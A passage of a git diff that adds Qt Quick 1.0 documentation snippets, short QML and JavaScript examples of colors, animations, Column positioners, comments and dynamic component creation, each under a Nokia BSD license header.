+ }
+
+ transitions: Transition { // transitions
+ from: ""; to: "selected"
+ ColorAnimation { target: border; duration: 200 }
+ }
+}
+//! [0]
+
diff --git a/doc/src/snippets/declarative/codingconventions/private.qml b/doc/src/snippets/declarative/codingconventions/private.qml
new file mode 100644
index 00000000..088bc3e3
--- /dev/null
+++ b/doc/src/snippets/declarative/codingconventions/private.qml
@@ -0,0 +1,49 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+//! [0]
+Item {
+ id: component
+ width: 40; height: 50
+ property real __area: width * height * 0.5 //not meant for outside use
+}
+//! [0]
diff --git a/doc/src/snippets/declarative/coloranimation.qml b/doc/src/snippets/declarative/coloranimation.qml
new file mode 100644
index 00000000..fdb6a9db
--- /dev/null
+++ b/doc/src/snippets/declarative/coloranimation.qml
@@ -0,0 +1,51 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![0]
+import QtQuick 1.0
+
+Rectangle {
+ width: 100; height: 100
+ color: "red"
+
+ ColorAnimation on color { to: "yellow"; duration: 1000 }
+}
+//![0]
+
diff --git a/doc/src/snippets/declarative/colors.qml b/doc/src/snippets/declarative/colors.qml
new file mode 100644
index 00000000..282f2d86
--- /dev/null
+++ b/doc/src/snippets/declarative/colors.qml
@@ -0,0 +1,125 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ width: 160; height: 250
+
+ Image {
+ width: 160; height: 200
+ source: "pics/checker.svg"
+ fillMode: Image.Tile
+
+ //! [colors]
+ Rectangle {
+ color: "steelblue"
+ width: 40; height: 40
+ }
+ Rectangle {
+ color: "transparent"
+ y: 40; width: 40; height: 40
+ }
+ Rectangle {
+ color: "#FF0000"
+ y: 80; width: 40; height: 40
+ }
+ Rectangle {
+ color: "#800000FF"
+ y: 120; width: 40; height: 40
+ }
+ Rectangle {
+ color: "#00000000" // ARGB fully transparent
+ y: 160
+ width: 40; height: 40
+ }
+ //! [colors]
+
+ Rectangle {
+ x: 40
+ width: 120; height: 200
+
+ Text {
+ font.pixelSize: 16
+ text: "steelblue"
+ x: 10; height: 40
+ verticalAlignment: Text.AlignVCenter
+ }
+ Text {
+ font.pixelSize: 16
+ text: "transparent"
+ x: 10; y: 40; height: 40
+ verticalAlignment: Text.AlignVCenter
+ }
+ Text {
+ font.pixelSize: 16
+ text: "FF0000"
+ x: 10; y: 80; height: 40
+ verticalAlignment: Text.AlignVCenter
+ }
+ Text {
+ font.pixelSize: 16
+ text: "800000FF"
+ x: 10; y: 120; height: 40
+ verticalAlignment: Text.AlignVCenter
+ }
+ Text {
+ font.pixelSize: 16
+ text: "00000000"
+ x: 10; y: 160; height: 40
+ verticalAlignment: Text.AlignVCenter
+ }
+ }
+ }
+
+ Image {
+ y: 210
+ width: 40; height: 40
+ source: "pics/checker.svg"
+ fillMode: Image.Tile
+ }
+
+ Text {
+ font.pixelSize: 16
+ text: "(background)"
+ x: 50; y: 210; height: 40
+ verticalAlignment: Text.AlignVCenter
+ }
+}
diff --git a/doc/src/snippets/declarative/column/column.qml b/doc/src/snippets/declarative/column/column.qml
new file mode 100644
index 00000000..b101c4cb
--- /dev/null
+++ b/doc/src/snippets/declarative/column/column.qml
@@ -0,0 +1,67 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+Item {
+ width: 310; height: 170
+
+ Column {
+ anchors.horizontalCenter: parent.horizontalCenter
+ anchors.verticalCenter: parent.verticalCenter
+
+ spacing: 5
+
+ Rectangle { color: "lightblue"; radius: 10.0
+ width: 300; height: 50
+ Text { anchors.centerIn: parent
+ font.pointSize: 24; text: "Books" } }
+ Rectangle { color: "gold"; radius: 10.0
+ width: 300; height: 50
+ Text { anchors.centerIn: parent
+ font.pointSize: 24; text: "Music" } }
+ Rectangle { color: "lightgreen"; radius: 10.0
+ width: 300; height: 50
+ Text { anchors.centerIn: parent
+ font.pointSize: 24; text: "Movies" } }
+ }
+}
+//! [document]
diff --git a/doc/src/snippets/declarative/column/vertical-positioner-transition.qml b/doc/src/snippets/declarative/column/vertical-positioner-transition.qml
new file mode 100644
index 00000000..ac98343e
--- /dev/null
+++ b/doc/src/snippets/declarative/column/vertical-positioner-transition.qml
@@ -0,0 +1,61 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+//! [document]
+Column {
+ spacing: 2
+ Rectangle { color: "red"; width: 50; height: 50 }
+ Rectangle { id: rect1; color: "green"; width: 20; height: 50 }
+ Rectangle { color: "blue"; width: 50; height: 20 }
+
+ //![transitions]
+ add: Transition {
+ NumberAnimation { properties: "opacity"; duration: 1000 }
+ }
+ //![transitions]
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: rect1.opacity = 0
+ }
+}
+//! [document]
diff --git a/doc/src/snippets/declarative/column/vertical-positioner.qml b/doc/src/snippets/declarative/column/vertical-positioner.qml
new file mode 100644
index 00000000..bd57d942
--- /dev/null
+++ b/doc/src/snippets/declarative/column/vertical-positioner.qml
@@ -0,0 +1,50 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+//! [document]
+Column {
+ spacing: 2
+ Rectangle { color: "red"; width: 50; height: 50 }
+ Rectangle { color: "green"; width: 20; height: 50 }
+ Rectangle { color: "blue"; width: 50; height: 20 }
+}
+//! [document]
diff --git a/doc/src/snippets/declarative/comments.qml b/doc/src/snippets/declarative/comments.qml
new file mode 100644
index 00000000..af001b8c
--- /dev/null
+++ b/doc/src/snippets/declarative/comments.qml
@@ -0,0 +1,53 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+//![0]
+Text {
+ text: "Hello world!" //a basic greeting
+ /*
+ We want this text to stand out from the rest so
+ we give it a large size and different font.
+ */
+ font.family: "Helvetica"
+ font.pointSize: 24
+}
+//![0]
diff --git a/doc/src/snippets/declarative/component.qml b/doc/src/snippets/declarative/component.qml
new file mode 100644
index 00000000..aa51ed9c
--- /dev/null
+++ b/doc/src/snippets/declarative/component.qml
@@ -0,0 +1,59 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+
+Item {
+ width: 100; height: 100
+
+ Component {
+ id: redSquare
+
+ Rectangle {
+ color: "red"
+ width: 10
+ height: 10
+ }
+ }
+
+ Loader { sourceComponent: redSquare }
+ Loader { sourceComponent: redSquare; x: 20 }
+}
+//![0]
diff --git a/doc/src/snippets/declarative/componentCreation.js b/doc/src/snippets/declarative/componentCreation.js
new file mode 100644
index 00000000..7364139d
--- /dev/null
+++ b/doc/src/snippets/declarative/componentCreation.js
@@ -0,0 +1,45 @@
+//![vars]
+var component;
+var sprite;
+//![vars]
+
+//![func]
+function createSpriteObjects() {
+//![func]
+
+//![remote]
+ component = Qt.createComponent("Sprite.qml");
+ if (component.status == Component.Ready)
+ finishCreation();
+ else
+ component.statusChanged.connect(finishCreation);
+//![remote]
+
+//![local]
+ component = Qt.createComponent("Sprite.qml");
+ sprite = component.createObject(appWindow, {"x": 100, "y": 100});
+
+ if (sprite == null) {
+ // Error Handling
+ console.log("Error creating object");
+ }
+//![local]
+
+//![func-end]
+}
+//![func-end]
+
+//![finishCreation]
+function finishCreation() {
+ if (component.status == Component.Ready) {
+ sprite = component.createObject(appWindow, {"x": 100, "y": 100});
+ if (sprite == null) {
+ // Error Handling
+ console.log("Error creating object");
+ }
+ } else if (component.status == Component.Error) {
+ // Error Handling
+ console.log("Error loading component:", component.errorString());
+ }
+}
+//![finishCreation]
diff --git a/doc/src/snippets/declarative/createComponent-simple.qml b/doc/src/snippets/declarative/createComponent-simple.qml
new file mode 100644
index 00000000..b60bd40d
--- /dev/null
+++ b/doc/src/snippets/declarative/createComponent-simple.qml
@@ -0,0 +1,57 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+
+Item {
+ id: container
+ width: 300; height: 300
+
+ function loadButton() {
+ var component = Qt.createComponent("Button.qml");
+ if (component.status == Component.Ready) {
+ var button = component.createObject(container);
+ button.color = "red";
+ }
+ }
+
+ Component.onCompleted: loadButton()
+}
+//![0]
diff --git a/doc/src/snippets/declarative/createComponent.qml b/doc/src/snippets/declarative/createComponent.qml
new file mode 100644
index 00000000..ee01add2
--- /dev/null
+++ b/doc/src/snippets/declarative/createComponent.qml
@@ -0,0 +1,51 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![0]
+import QtQuick 1.0
+import "componentCreation.js" as MyScript
+
+Rectangle {
+ id: appWindow
+ width: 300; height: 300
+
+ Component.onCompleted: MyScript.createSpriteObjects();
+}
+//![0]
diff --git a/doc/src/snippets/declarative/createQmlObject.qml b/doc/src/snippets/declarative/createQmlObject.qml
new file mode 100644
index 00000000..0ed38291
--- /dev/null
+++ b/doc/src/snippets/declarative/createQmlObject.qml
@@ -0,0 +1,61 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
